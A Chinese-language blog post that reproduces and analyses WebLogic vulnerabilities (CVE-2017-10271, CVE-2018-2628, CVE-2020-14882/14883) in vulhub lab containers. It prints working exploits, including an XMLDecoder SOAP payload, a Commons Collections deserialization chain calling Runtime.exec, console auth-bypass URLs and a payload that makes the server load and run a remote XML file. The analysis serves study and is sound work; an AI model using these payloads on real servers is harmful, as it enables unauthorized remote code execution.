漏洞复现 - weblogic(一)

Posted by morouu on 2022-01-11
Estimated Reading Time 28 Minutes
Words 6.2k In Total
Viewed Times

漏洞复现 - weblogic(一)


​ 该实验所有复现的漏洞环境均来自 vulhub

- CVE-2017-10271 -

- 实验环境 -

docker-compose.yml

1
2
3
4
5
6
version: '2'
services:
weblogic:
image: vulhub/weblogic:10.3.6.0-2017
ports:
- "7001:7001"

影响版本:

  • 10.3.6.0
  • 12.1.3.0.0
  • 12.2.1.1.0

- 漏洞分析 -

据说这个漏洞的原因主要是没有严格的对用户输入的内容进行处理就送到了 XMLDecoder 进行解析,在解析过程中出现了反序列化漏洞,导致任意代码执行。而漏洞的关键点在 wls-wsat.war 包中,那么先把环境起了,再将所有相关的包copy出来并反编译分析下罢。

根据漏洞的 POC 可知,是在访问了 /wls-wsat/CoordinatorPortType11 并传入适当的 xml 内容就会触发漏洞。实际上也就是这玩意👇

image-20220111165549175

servlet-name 值为 CoordinatorPortTypeServlethttp11 ,当访问这个 url 时会调用 weblogicWLS Security 组件提供的 webservice 服务👇

image-20220111174646353

这个 webservice 服务中就使用了 XMLDecoder 解析用户传入的 XML内容 继而在解析过程中对用户输入的恶意内容进行反序列化。其中,在 weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest 中会对用户输入的内容进行处理👇

image-20220111193039913

这里的 paramPacket.getMessage().getHeaders() 实际上是从 soapsoapenv:Header 里边遍用户输入的XML内容的标签头部,跟进查看 WorkAreaConstants.WORK_AREA_HEADER 的值👇

image-20220111191331928

简单来说👇

1
2
3
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
{{这里的内容连同该标签头部会被放到header1中,并作为参数调用readHeaderOld方法}}
</work:WorkContext>

那么,跟进 readHeaderOld 方法👇

image-20220111193721073

最后跟进 WorkContextXmlInputAdapter 类的构造方法👇

image-20220111193936456

显然这里是将输入的流传入到 XMLDecoder 中进行解析了。

- 复现过程 -

先使用 docker-compose up -d 将环境起了,然后访问 http://ip:port/wls-wsat/CoordinatorPortType11,并使用以下内容进行请求👇

image-20220111212307650

之后即可在环境里面发现 /tmp/ok 文件👇

image-20220111212222500

实际上,由上边的代码分析不难看出,在对 XML内容 的处理中会先将前两个标签舍去👇

image-20220111212713720

所以恶意内容应放到第二个标签内,同时第二个标签的名称并不影响漏洞的触发。

- exp -

简单的exp👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<testtest>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/sh</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>whoami>/tmp/ok</string>
</void>
</array>
<void method="start"/>
</void>
</testtest>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

- CVE-2018-2628 -

- 实验环境 -

docker-compose.yml (为了更好的复现多用一个镜像作为攻击机):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
version: '2'
networks:
extnetwork:
driver: bridge
ipam:
driver: default
config:
- subnet: 172.20.0.0/16
services:
weblogic:
image: vulhub/weblogic:10.3.6.0-2017
ports:
- "7002:7001"
networks:
extnetwork:
ipv4_address: 172.20.0.4
ubuntu:
image: ubuntu:18.04
stdin_open: true
tty: true
entrypoint: ["sh"]
networks:
extnetwork:
ipv4_address: 172.20.0.5

影响版本:

  • 10.3.6.0
  • 12.1.3.0
  • 12.2.1.2
  • 12.2.1.3

- 漏洞分析 -

据说是由于 weblogic server WLS core components 的存在反序列化漏洞,并能通过t3协议触发导致远程代码执行。因为现在太菜了不太懂先留着,后面补上罢。我又来了,隔了一天觉得不妨先从payload中的反序列化内容逐步分析(学习)比较好。

那么先用物理机从 exploit.py 的操作看起,其中,目标 ip192.168.3.35 ,暴露 端口7002 , 在本地用 ysoserial 起服务的攻击机 ip172.20.0.5 , 服务监听 端口2001 👇

image-20220114121723460

继续跟进 exploit 函数,可以简单的得到整个 exp 执行的流程👇

image-20220114122057714

跟进 t3_handshake 函数👇

image-20220114000658423

这里是进行了简单的握手操作,接着再往下跟进 build_t3_request_object 函数👇

image-20220114002638427

到这里还并没有看出什么,继续跟进下边的 generate_payload 函数👇

image-20220114122724278

其中 rmi 即是 Remote Method Invocation(远程方法调用) ,而 jrmp 即是 Java Remote MessagingProtocol(java远程信息交换协议) 。 前者顾名思义可以调用远程的方法,后者则是可以可以查找和引用远程的对象。jrmp 是运行在 rmi 之下的,而 RemoteObjectInvocationHandlerUnicastRef 建立的远程连接是使用 jrmp 协议的,并且使用该协议连接到开启了 jrmp 服务端的客户端会无条件反序列化从服务端收到的任何响应内容(应该差不多是这个意思吧)。接着看最后的 payload 数据构造👇

image-20220114123918679

这里不妨先随手写一个 rmi 然后简单查看一下通信内容👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import java.net.MalformedURLException;
import java.rmi.*;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

interface Person extends Remote {
public boolean play() throws java.rmi.RemoteException;
}

class WaY extends UnicastRemoteObject implements Person{

private final boolean can;
private final String name;

public WaY(String name,boolean can) throws RemoteException {

this.can = can;
this.name = name;

}


@Override
public boolean play() throws RemoteException {
if(this.can){
System.out.println(this.name + " play! ");
return this.can;
}
System.out.println(this.name + " work! ");
return false;
}


}

class Server extends Thread{

private final Person p;

public Server(String name,boolean play) throws RemoteException {
super();
this.p = new WaY(name,play);
}

@Override
public void run() {
try {
LocateRegistry.createRegistry(3001);
Naming.bind("//localhost:3001/person",this.p);
} catch (RemoteException | AlreadyBoundException | MalformedURLException e) {
e.printStackTrace();
}
}
}



public class A1 {
public static void main(String[] args) {
// 开启服务
try {
Server s = new Server("dqv5", true);
s.setDaemon(true);
s.start();
} catch (RemoteException e ){
e.printStackTrace();
}
// 等待片刻后访问
try{
Thread.sleep(2000);
Person p = (Person) Naming.lookup("//localhost:3003/person");
p.play();
System.exit(0);

} catch (InterruptedException | MalformedURLException | NotBoundException | RemoteException e){
e.printStackTrace();
}
}
}

本地监听👇

image-20220114132352099

在物理机起一个 jrmp 的服务,然后通过中转监听来看看从 jrmp 服务发过去的内容👇

image-20220114133604192

那么现在就一目了然了,显然上边的一系列操作即是让目标作为客户端主动通过 jrmp 协议和搭建在攻击机本地的 jrmp 服务端进行通信,然后攻击机上的本地 jrmp 服务会将构造好的序列化内容发送给目标客户端,目标客户端会无条件反序列化这些内容,从而反序列化漏洞由此产生;若再对这些反序列化内容进行构造就很可能造成远程代码执行。

接下来不妨分析一下这个能造成远程代码执行的序列化内容,很明显的可以从服务端发送过去的 payload 看到序列化入口点的类👇

image-20220114135000278

跟进 javax.management.BadAttributeValueException 类,众所周知再这个类中是可以调用可控类的 toString 方法的👇

image-20220114150418749

接着再看通讯的内容👇

image-20220114151012827

令人吃惊的是,在 sun.reflect.annotation.AnnotationInvocationHandler 中并没有对 toString 方法的重写,也就是说这个 payload 并没有利用到 javax.management.BadAttributeValueException 类中可以调用可控类的 toString 方法的功能,只是简单的将其 val 属性赋值为前者罢。那么再跟进 sun.reflect.annotation.AnnotationInvocationHandler 类,可以发现其实现了 Serializable 接口,并且拥有 readObject 方法,这么来看的话上边 javax.management.BadAttributeValueExceptionval 属性的包装仅是用来作为 sun.reflect.annotation.AnnotationInvocationHandler 的携带者👇

image-20220114154205492

ok,现在知道了整个链条的准确开头应该就是从 sun.reflect.annotation.AnnotationInvocationHandler 类的 readObject 开始了,该是分析链条主体部分的时候了,先看主体 payload 的构造源码👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/*
......
*/

public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return handler;
}

看起来主要是使用了 TransformerConstantTransformerInvokerTransformer 以及 ChainedTransformer 这几个玩意儿来构造链,不妨先对这三个玩意进行分析。首先这几个玩意都是来自 Apache Commons Collections 库,而 weblogic 使用了同属这个库基本概念的 org.apache.commons.collections 包👇

image-20220114173541816

其中, Transformer 这玩意是一个接口,并且定义了 transform 方法;而 InvokerTransformer 这个类不仅实现了 Transformer 以及 Serializable 接口,在它的 transform 方法中还通过反射使得让使用可控参数调用任意类的任意方法成为可能👇

image-20220114180040160

并且这些关键属性也都是可以在构造方法中赋值的👇

image-20220114182830903

接着看 ChainedTransformer ,这也是一个实现了 TransformerSerializable 接口的类,在其中它的 transform 方法是遍历装有任意实现了 Transformer 接口的实例,并依次调用每一个数组元素的 transform 方法,同时在先将传入参数作为首个元素调用 transform 方法的参数后,往后都是将上一个元素通过调用 transform 方法得到的返回值作为下一个元素调用 transform 方法的参数👇

image-20220114181346192

若用 ChainedTransformer 将多个实现了 TransformerInvokerTransformer 串起来就可以将单次的使用可控参数去调用任意类的任意方法的形式通过循序渐进变为形如可以调用 java.lang.Runtime.getRuntime().exec() 这样的形式。

那么再看 ConstantTransformer ,这玩意同样实现了 TransformerSerializable 接口的类,其 transform 方法作用是返回其私有变量 iConstant 的值,因此可以通过序列化将这个值控制成一个形如 java.lang.Runtime 的值👇

image-20220114182401083

此时回头看一下 payload 中的主要链条部分,思路就较为清晰了,以下这个数组在最后会放到 ChainedTransformer 中👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

final String[] execArgs = new String[] { command };

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",new Class[] { String.class }, execArgs),
new ConstantTransformer(1)
};

/* ....

*/
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

  • 第一步,由 ConstatnTransformer 获取 java.lang.Runtime.class 值;
  • 第二步,将 java.lang.Runtime.class 作为参数,通过 getMethod 先将 java.lang.Runtime.class.getClass()getMethod 方法赋值给 method ,然后使用 method.invokejava.lang.Runtime.class.getClass().getMethod.invoke 去获取 java.lang.Runtime.getRuntime 方法本身;
  • 第三步,将 java.lang.Runtime.getRuntime 方法本身作为参数,通过 getMethod 先将 java.lang.Runtime.getRuntime.getClass()invoke 方法赋值给 method ,然后使用 method.invokejava.lang.Runtime.getRuntime.getClass().invoke.invoke 去调用本身得到 java.lang.Runtime.getRuntime() 结果;
  • 第四步,将 java.lang.Runtime.getRuntime() 结果作为参数,通过 getMethod 先将 java.lang.Runtime.getRuntime().getClass()exec 方法赋值给 method ,然后使用 method.invokejava.lang.Runtime.getRuntime().getClass().exec.invoke 配合后边的 execArgs 参数达成形如 java.lang.Runtime.getRuntime().exec(execArgs) 的形式。

然而既然已经拿到了主要链条,现在最需要关注的是如何让这个主要链条生效,再看一下 payload 后续处理的部分👇

1
2
3
4
5
6
7
8
9
10
11
12
13

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

return handler;

可以看到,存储上边链条且属于 ChainedTransformer 实例的 transformerChain 连同新实例化的 HashMap 被作为参数去调用了 LazyMap.decorate ,先跟进 LazyMap.decorate ,这个类依然实现了 Serializable 接口👇

image-20220114204951531

此时, LazyMap 类的 factory 变量即为 transformerChain 的值。由于这个 LazyMap 也实现了 Map 接口,接着往下看👇

image-20220114205351956

事实上,由于 factory 的值为 transformerChain 的值,其为 ChainedTransformer 的实例,当这个 transformerChain 调用了 transform 方法时,也就会对其存储的每个链条调用 transform 方法从而形成一条能够组成 java.lang.Runtime.getRuntime().exec(execArgs) 形式的链条。比如以下例子👇

image-20220114210556252

接着就是得找一个能够调用 get 方法的形式了,不妨回过头来看有关 sun.reflect.annotation.AnnotationInvocationHandlerinvoke 方法。由于本地环境的版本太新,漏洞点已经修复,这里就用环境的jdk来复现(版本 jdk1.6.0_45)👇

image-20220115181602486

可见只要能够给 memberValues 构造适当的值就可以在反序列化时调用其自身的 invoke 方法进而调用 get 方法,这实际上概括说来即是 我自己,就是我自己的代理 。为实现这种形式,可以使用实例套代理的模式,第一个 AnnotationInvocationHandler 实例的 memberValues 属性存放着 payload 内容,第二个 AnnotationInvocationHandlermemberValues 属性存放着第一个 AnnotationInvocationHandler 实例的代理。

也就是说在第二个 AnnotationInvocationHandler 实例调用 readObject 方法中,this.memberValues 的值为第一个 AnnotationInvocationHandler 实例关于 Map 接口的代理;当执行到 this.memberValues.entrySet() 时会调用第一个 AnnotationInvocationHandler 实例的 invoke 方法,而第一个 AnnotationInvocationHandler 实例的 this.memberValues 值为上边包装好 payload 内容且实现了 Map 接口的 LazyMap ,一旦执行了 this.memberValues.get 就会层层触发直至 java.lang.Runtime.getRuntime().exec(execArgs) ,比如简单模拟一下👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import java.io.*;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


class Evil implements InvocationHandler, Serializable {

private final Map<String, Object> memberValues;

public Evil(Map<String,Object> m){
this.memberValues = m;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) {

String member = method.getName();

/*
省略部分代码
*/

return this.memberValues.get(member);

}

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {

s.defaultReadObject();

/*
省略部分代码
*/

this.memberValues.entrySet().iterator();

}


}

class Payload {

public static Map generate(String[] execArgs){

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",new Class[] { String.class }, execArgs),
};

final ChainedTransformer transformerChain = new ChainedTransformer(transformers);

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

return lazyMap;

}

}

public class A1 {

public static void main(String[] args) throws IOException, InterruptedException, ClassNotFoundException {

// 生成payload
Map<String, Object> m = Payload.generate(new String[] {"calc.exe"});

// 代理嵌套
Evil e1 = new Evil(m); // 用作存放payload数据
Map p = (Map) Proxy.newProxyInstance(Evil.class.getClassLoader(),new Class<?>[]{Map.class},e1);
Evil e2 = new Evil(p); // 用作存放e1关于Map接口的代理

// 序列化
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("payload.bin"));
out.writeObject(e2);
out.close();

// 等待片刻
Thread.sleep(200);

// 反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream("payload.bin"));
in.readObject();
in.close();

}

}

得到结果👇

image-20220115183633314

事实上 payload 部分也是依靠动态代理的形式去调用 invoke 方法以便到达 get 方法的调用。另外,或许 payload 还可以在短一些。。

不妨自己再手撸一个完整的 payload 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

class Payload {

public static Map generate(String[] execArgs){

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",new Class[] { String.class }, execArgs),
};

final ChainedTransformer transformerChain = new ChainedTransformer(transformers);

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

return lazyMap;

}

}

public class A2 {

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, InterruptedException {

// 生成payload
Map<String, Object> m = Payload.generate(new String[] {"calc.exe"});

// 其实或许并不需要从javax.management.BadAttributeValueException作为入口
Class an = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor co = an.getDeclaredConstructor(Class.class,Map.class);
co.setAccessible(true);

// 生成代理
InvocationHandler an1 = (InvocationHandler) co.newInstance(Target.class,m); // 第一个实例用作存放payload内容
Map p = (Map) Proxy.newProxyInstance(an.getClassLoader(),new Class<?>[]{Map.class},an1);
Object an2 = co.newInstance(Target.class,p); // 第二个实例用作存放第一个实例关于Map接口的代理

// 序列化
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("a.txt"));
out.writeObject(an2);
out.close();

// 稍等片刻
Thread.sleep(200);

// 反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream("a.txt"));
in.readObject();
in.close();

}
}

运行结果👇

image-20220115184325069

由此,整个分析过程就结束了,接下来即是利用 jrmp 服务端将这些序列化内容发送给目标客户端,目标客户端会无条件对服务端的内容进行反序列化。

- 复现过程 -

先使用 docker-compose up -d 将环境起了,然后从攻击机中起一个 jrmp 服务👇

image-20220115185926749

接着用 exploit.py 通过 t3 协议让目标使用 jrmp 协议与攻击机起的 jrmp 服务进行通信👇

image-20220115190141727

最后检查目标,可以发现 tmp/ok 成功被创建👇

image-20220115190303021

此时成功通过反序列化执行 touch /tmp/ok

- exp -

https://www.exploit-db.com/exploits/44553


- CVE-2020-14883/CVE-2020-14882 -

docker-compose.yml

1
2
3
4
5
6
version: '2'
services:
weblogic:
image: vulhub/weblogic:12.2.1.3-2018
ports:
- "7001:7001"

影响版本:

  • 10.3.6.0
  • 12.1.3.0
  • 12.2.1.3
  • 12.2.1.4
  • 14.1.1.0

- 漏洞分析 -

- CVE-2020-14883 -

这里从 CVE-2020-14883 看起,这是一个有关认证绕过的漏洞,即可以通过构造一定url的方式以低权限绕过登录访问控制台。先分析一下相应的 payload 👇

1
http://192.168.3.37:7001/console/images/%252E%252E%252Fconsole.portal

不难看出这似乎是一个有关路径穿越的绕过方式,例如 %25%2e%25%2e%25%2f 在经过二次url解码实际上是 ../ ,整条路径的实际路径为 http://192.168.3.37:7001/console/console.portal ,也即是普通访问控制台的路径。至于能够写形成这样的原因,不妨看一下其 web.xml 文件的配置👇

image-20220116135945027

可以看到有关url的正则匹配为

  • /appmanager/*
  • *.portlet
  • *.portion
  • *.portal

因此在进行匹配时,http://192.168.3.37:7001/console/images/%252E%252E%252Fconsole.portal 是能够成功匹配相关视图的。再对比一下相应的 payload 不难看出,具体的原理应该是通过插入静态资源路径的方式,让认证服务以为仅仅只是平常的对静态资源的访问,于是就不会进行认证,从而就绕过了认证。

无奈一直搞不到 weblogic 完整的真源码,无法实时调试,只能勉为其难地简单反编译对比了。

那么从类比的角度来看,能够满足上面关系的路径应该包含以下👇

image-20220116152749517

经过尝试,以下 payload 都是可以的:

  • http://192.168.3.37:7001/console/images/%252E%252E%252Fconsole.portal
  • http://192.168.3.37:7001/console/css/%252E%252E%252Fconsole.portal
  • http://192.168.3.37:7001/console/bea-helpsets/%252E%252E%252Fconsole.portal

再来看认证函数👇

image-20220116161657818

由于无法进行调试,这里一个个值来看,不过首先要说明的是在传入的参数中:

  • request = 请求内容
  • response = 回应内容
  • checkAllResources = false
  • applyAuthFilters = true
  • isRecursiveCall = false

接着跟进 RequestDispatcher rd = invokePreAuthFilters(request, response); 👇

image-20220116162104488

再跟进 RequestDispatcher rd = getAuthFilterRD(); 👇

image-20220116162152010

那么查看 this.authFilterRD 的值👇

image-20220116162256806

由此可知,RequestDispatcher rd = null;

接着这里默认设置了 authorized = true; ,往下看,由于 checkAllResources = falseresourceConstraint = getContraint(request) ,而 getContraint(request) 这个方法实现的内容实际上是对请求内容使用 ResourceContraint 类进行一个包装👇

由于无法进行动态调试,就不跟进了。往下看,可以看到其中有一个 if (!... && resourceConstraint.isForbidden()) 的条件判断,跟进 isForbidden() 方法👇

image-20220116164435861

可以看到 forbidden 属性的默认值为 false ,而实际上返回的确实也是 false 。那么这个条件里的内容也就是关于对表单进行认证的部分就不会执行,而是直接跳到下一部分👇

image-20220116170103822

由此导致认证通过的关键点即是 authorized = this.delegateModule.isAuthorized(request, response, resourceConstraint, applyAuthFilters); 这条语句了。其中整个认证的流程如下👇

image-20220116163201634

能够认证成功的原因应该是当请求内容中包含静态资源路径时,在包装成 ResourceContraint 类的途中,其 unrestricted 的值为 true 导致能够无限制的访问,进而能够绕过认证。

image-20220116172220708

但这还仅仅是绕过了认证,即只能够获得访问的权限,此时还需要一个类似跨目录的形式将url中的 %252E%252E%252F 内容解析成 ../ 的形式以便达成最终路径 /console/console.portal

不妨来看下对上下文的处理,在 com.bea.netuix.servlets.UIServletInternal 类的 getTree 方法中存在对url的二次解码👇

image-20220116181952934

且在对上下文的创建过程中用到了这个 getTree 方法👇

image-20220116182431388

那么此时显而易见 /console/images/%252E%252E%252Fconsole.portal 会由二次解码成 /console/images/../console.portal ;并且在上边已经由包含静态资源的形式绕过了认证,那么最终也就能从 /console/console.portal 进入。

- CVE-2020-14882 -

还是先来看一下 payload 👇

1
http://192.168.3.37:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/ok');")

显然前面的部分即是上边 CVE-2020-14883 关于控制台认证的绕过,后面接着的 handle=....... 就是该CVE的关键部分了。那么先看 com.bea.console.handles.HandleFactory 类的 getHandle 方法👇

image-20220116193959688

由此可知,这里存在一个形如 new [可控类名]([可控String型参数]); 的调用形式。

不妨根据 payload 查看一下 com.tangosol.coherence.mvel2.sh.ShellSession 类内容👇

image-20220116201108471

其实也就是将要执行的java代码作为 com.tangosol.coherence.mvel2.sh.ShellSession 的构造参数,依靠上边的 new [可控类名]([可控String型参数]); 去执行java代码,从而达成远程命令执行。

然而 com.tangosol.coherence.mvel2.sh.ShellSession 类只有在 weblogic 12.2.1 以上才可以利用,再看另一个通杀的 payload 👇

1
http://192.168.3.37:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

看的出来这个让其加载远程的xml文件,并执行其中的命令。不妨跟进 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 类查看👇

image-20220116204915304

在费劲周折地对了这个url进行处理后👇

image-20220116211146395

会进行刷新操作刷新将远程xml文件的内容解析并执行,比如可以用以下的xml内容执行系统命令👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/ok2]]></value>
</list>
</constructor-arg>
</bean>
</beans>

由于无法进行动态调试,就先不深入往下看是如何解析了。

- 复现过程 -

还是先使用 docker-compose up -d 将环境起了,然后访问以下任意url👇

  • http://192.168.3.37:7001/console/images/%252E%252E%252Fconsole.portal
  • http://192.168.3.37:7001/console/css/%252E%252E%252Fconsole.portal
  • http://192.168.3.37:7001/console/bea-helpsets/%252E%252E%252Fconsole.portal

都可以成功进入控制台👇

image-20220116211859541

此时 CVE-2020-14883 复现完毕,接着将以下内容放入任意url👇

1
?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/ok1');")

比如👇

image-20220116213106230

可以发现成功执行了命令。

再试试加载远程xml的 payload ,先随意起一个网络环境,并将xml文件准备好后开整👇

image-20220116214114273

此时也成功执行了命令。

- exp -

- CVE-2020-14883 -

以下均可绕过认证到达控制台👇

  • http://192.168.3.37:7001/console/images/%252E%252E%252Fconsole.portal
  • http://192.168.3.37:7001/console/css/%252E%252E%252Fconsole.portal
  • http://192.168.3.37:7001/console/bea-helpsets/%252E%252E%252Fconsole.portal

- CVE-2020-14882 -

使用 com.tangosol.coherence.mvel2.sh.ShellSession 类的构造方法👇

1
http://192.168.3.37:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/ok');")

使用 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 的构造方法👇

dm.xml 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/ok2]]></value>
</list>
</constructor-arg>
</bean>
</beans>

访问的url内容👇

1
http://192.168.3.37:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。也欢迎您共享此博客,以便更多人可以参与。如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。谢谢 !